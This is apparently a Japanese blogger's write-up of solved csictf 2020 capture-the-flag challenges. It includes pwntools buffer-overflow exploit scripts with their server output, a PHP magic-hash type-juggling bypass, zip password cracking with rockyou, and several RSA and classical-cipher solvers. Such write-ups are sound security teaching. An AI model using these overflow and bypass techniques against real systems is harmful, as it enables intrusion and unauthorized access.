この大会は2020/7/18 3:30(JST)~2020/7/22 3:30(JST)に開催されました。
今回もチームで参戦。結果は4448点で1009チーム中193位でした。
自分で解けた問題をWriteupとして書いておきます。
pwn intended 0x1 (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_38 [44]; int local_c; local_c = 0; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Please pour me some coffee:"); gets(local_38); puts("\nThanks!\n"); if (local_c != 0) { puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it."); system("cat flag.txt"); } return 0; }
45バイト適当に入力してみる。
$ nc chall.csivit.com 30001 Please pour me some coffee: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Thanks! Oh no, you spilled some coffee on the floor! Use the flag to clean it. csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}
csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}
pwn intended 0x2 (Pwn)
$ file pwn-intended-0x2 pwn-intended-0x2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fe5fe06984f7093c9122fb1b08fb834a63784d4, for GNU/Linux 3.2.0, not stripped
Ghidraでデコンパイルする。
undefined8 main(void) { char local_38 [44]; int local_c; local_c = 0; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Welcome to csictf! Where are you headed?"); gets(local_38); puts("Safe Journey!"); if (local_c == -0x35014542) { puts("You\'ve reached your destination, here\'s a flag!"); system("/bin/cat flag.txt"); } return 0; }
44バイトの後、0xcafebabeを送り込めばよい。
from pwn import * p = remote('chall.csivit.com', 30007) #p = process('./pwn-intended-0x2') data = p.recvline().rstrip() print data payload = 'a' * 44 + p64(0xcafebabe) print payload p.sendline(payload) data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data data = p.recv() print data
実行結果は以下の通り。
[+] Opening connection to chall.csivit.com on port 30007: Done Welcome to csictf! Where are you headed? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbe\xba\xfe�\x00\x00 Safe Journey! You've reached your destination, here's a flag! csictf{c4n_y0u_re4lly_telep0rt?} [*] Closed connection to chall.csivit.com port 30007
csictf{c4n_y0u_re4lly_telep0rt?}
pwn intended 0x3 (Pwn)
$ file pwn-intended-0x3 pwn-intended-0x3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=65cafe283997ada7631398451f05273dd0002567, for GNU/Linux 3.2.0, not stripped
Ghidraでデコンパイルする。
undefined8 main(void) { char local_28 [32]; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Welcome to csictf! Time to teleport again."); gets(local_28); return 0; } void flag(void) { puts("Well, that was quick. Here\'s your flag:"); system("cat flag.txt"); /* WARNING: Subroutine does not return */ exit(0); }
$ gdb -q pwn-intended-0x3 Reading symbols from pwn-intended-0x3...(no debugging symbols found)...done. gdb-peda$ p &flag $1 = (<text variable, no debug info> *) 0x4011ce <flag>
from pwn import * p = remote('chall.csivit.com', 30013) #p = process('./pwn-intended-0x3') data = p.recvline().rstrip() print data payload = 'a' * 40 + p64(0x4011ce) print payload p.sendline(payload) data = p.recvline().rstrip() print data data = p.recv() print data
実行結果は以下の通り。
[+] Opening connection to chall.csivit.com on port 30013: Done Welcome to csictf! Time to teleport again. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@\x00\x00\x00 Well, that was quick. Here's your flag: csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs} [*] Closed connection to chall.csivit.com port 30013
csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}
Oreo (Web)
Cookieを見ると、flavourにc3RyYXdiZXJyeQ%3D%3Dとセットされている。base64デコードしてみる。
$ echo c3RyYXdiZXJyeQ== | base64 -d strawberry
ページの内容から考えると、chocolateのbase64文字列をセットすればよさそう。
$ echo -n chocolate | base64 Y2hvY29sYXRl
この文字列をクッキーのflavourにセットして、リロードすると、フラグが表示された。
csictf{1ick_twi5t_dunk}
Warm Up (Web)
問題のページにはコードが表示される。
<?php if (isset($_GET['hash'])) { if ($_GET['hash'] === "10932435112") { die('Not so easy mate.'); } $hash = sha1($_GET['hash']); $target = sha1(10932435112); if($hash == $target) { include('flag.php'); print $flag; } else { print "csictf{loser}"; } } else { show_source(__FILE__); } ?>
一見10932435112以外でハッシュ値が同じ文字列を指定する必要があるように見える。
>>> import hashlib >>> hashlib.sha1('10932435112').hexdigest() '0e07766915004133176347055865026311692244'
ハッシュ値は0e07766915004133176347055865026311692244で、phpで0exxxの場合、0のべき乗という意味にできるので、0と同様になる。sha1が0eから始まり、数字だけになる他の文字列を指定できればよい。
https://offsec.almond.consulting/super-magic-hash.htmlからこの条件を満たす情報を得る。
例えば、"&O&GKtn&54xQ" を試す。&が入っているので、URLエンコードする。
%26O%26GKtn%2654xQ
http://chall.csivit.com:30272/?hash=%26O%26GKtn%2654xQにアクセスすると、フラグが表示された。
csictf{typ3_juggl1ng_1n_php}
Mr Rami (Web)
http://chall.csivit.com:30231/robots.txtにアクセスする。
# Hey there, you're not a robot, yet I see you sniffing through this file. # SEO you later! # Now get off my lawn. Disallow: /fade/to/black
http://chall.csivit.com:30231/fade/to/blackにアクセスすると、フラグが表示された。
csictf{br0b0t_1s_pr3tty_c00l_1_th1nk}
Gradient sky (Forensics)
$ strings sky.jpg | grep csictf csictf{j0ker_w4snt_happy}
csictf{j0ker_w4snt_happy}
Archenemy (Forensics)
$ file arched.png arched.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 1920x1080, frames 3 $ mv arched.png arched.jpg
パスワードなしでsteghideを試してみる。
$ steghide extract -sf arched.jpg Enter passphrase: wrote extracted data to "flag.zip".
zipファイルを抽出できたので、解凍する。
$ unzip flag.zip Archive: flag.zip [flag.zip] meme.jpg password: skipping: meme.jpg incorrect password
パスワードがかかっているので、クラックする。
$ fcrackzip -u -D -p dict/rockyou.txt flag.zip PASSWORD FOUND!!!!: pw == kathmandu
このパスワードで解凍する。
$ unzip -P kathmandu flag.zip
Archive: flag.zip
inflating: meme.jpg
meme.jpgにフラグが書かれていた。
csictf{1_h0pe_y0u_don't_s33_m3_here}
Rivest Shamir Adleman (Crypto)
nを素因数分解する。
p = 15485863 q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137
あとは通常通り復号する。
from Crypto.Util.number import * n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231 e = 65537 c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909 p = 15485863 q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) print flag
csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}
The Climb (Crypto)
コードの処理の概要は以下の通り。
keyの長さはある数値の2乗になっている。 sizeはkeyの長さの2乗根 ■keyconv ・kmatrix: size×sizeの行列にして、アルファベット小文字のインデックスにする。 ■div ・textの長さがsizeの倍数でなければ、'x'でパディングする。 ・sizeバイトごとに以下を実行 ・purf(substr) ・textconv(substr) tmatrix: アルファベット小文字のインデックスの配列に変換 ・multiply(substr.length()) rmatrix: 行ごとのkmatrixとtmatrixを掛け算して足し算して26で割ったあまりの配列 ・res(text.length()) 配列を文字にして出力する。
処理はHill暗号と同様。keyはコード中の記載であっているようなので、逆行列を使って、元の文字列を復号する。
#!/usr/bin/env sage from string import lowercase def pad(s): p = 9 - len(s) % 9 return s + 'a' * p def str_to_matrix(s): M = [] for i in range(3): row = [] for j in range(3): row.append(lowercase.index(s[i + j * 3])) M.append(row) return M def matrix_to_str(M): s = '' for i in range(3): for j in range(3): s += lowercase[M[j][i]] return s key = 'gybnqkurp' ct = 'lrzlhhombgichae' K = [] c = 0 for i in range(3): row = [] for j in range(3): row.append(lowercase.index(key[c])) c += 1 K.append(row) K = matrix(Zmod(26), K) pad_ct = pad(ct) flag = '' for i in range(0, len(pad_ct), 9): c = pad_ct[i:i+9] C = str_to_matrix(c) C = matrix(Zmod(26), C) P = K.inverse() * C flag += matrix_to_str(P) flag = flag[:len(ct)].rstrip('x') flag = 'csictf{%s}' % flag print flag
csictf{hillshaveeyes}
Modern Clueless Child (Crypto)
3バイトごとに"f"があり、それ以外は"f"がなく、ASCIIコードになっていそう。"f"区切りのコードでkeyでXORを取ってみる。
ct = '52f41f58f51f47f57f49f48f5df46f6ef53f43f57f6cf50f6df53f53f40f58f51f6ef42f56f43f41f5ef5cf4e' ct = ct.split('f') key = '12123' flag = '' for i in range(len(ct)): flag += chr(int(ct[i], 16) ^ ord(key[i%len(key)])) print flag
csictf{you_are_a_basic_person}
little RSA (Crypto)
nを素因数分解する。
$ python -m primefac 64741 64741: 101 641
あとは通常通り復号する。
from Crypto.Util.number import * c = 32949 n = 64741 e = 42667 p = 101 q = 641 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) print m
復号結果は以下の通り。
18429
この復号結果をパスワードにしてflag.zipを解凍すると、展開されたファイルにフラグが書いてあった。
csictf{gr34t_m1nds_th1nk_4l1ke}
Quick Math (Crypto)
e=3と推測して、Hastad's broadcast attackで復号する。復号した数値をhex文字列としてデコードすると、フラグになる。
import functools from Crypto.Util.number import * def chinese_remainder(n, a): sum = 0 prod = functools.reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod // n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a // b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 def inv_pow(c, e): low = -1 high = c+1 while low + 1 < high: m = (low + high) // 2 p = pow(m, e) if p < c: low = m else: high = m m = high assert pow(m, e) == c return m n1 = 86812553978993 n2 = 81744303091421 n3 = 83695120256591 c1 = 8875674977048 c2 = 70744354709710 c3 = 29146719498409 N = [n1, n2, n3] C = [c1, c2, c3] e = len(N) a = chinese_remainder(N, C) for n, c in zip(N, C): assert a % n == c m = inv_pow(a, e) flag = str(m).decode('hex') flag = 'csictf{%s}' % flag print flag
csictf{h45t4d}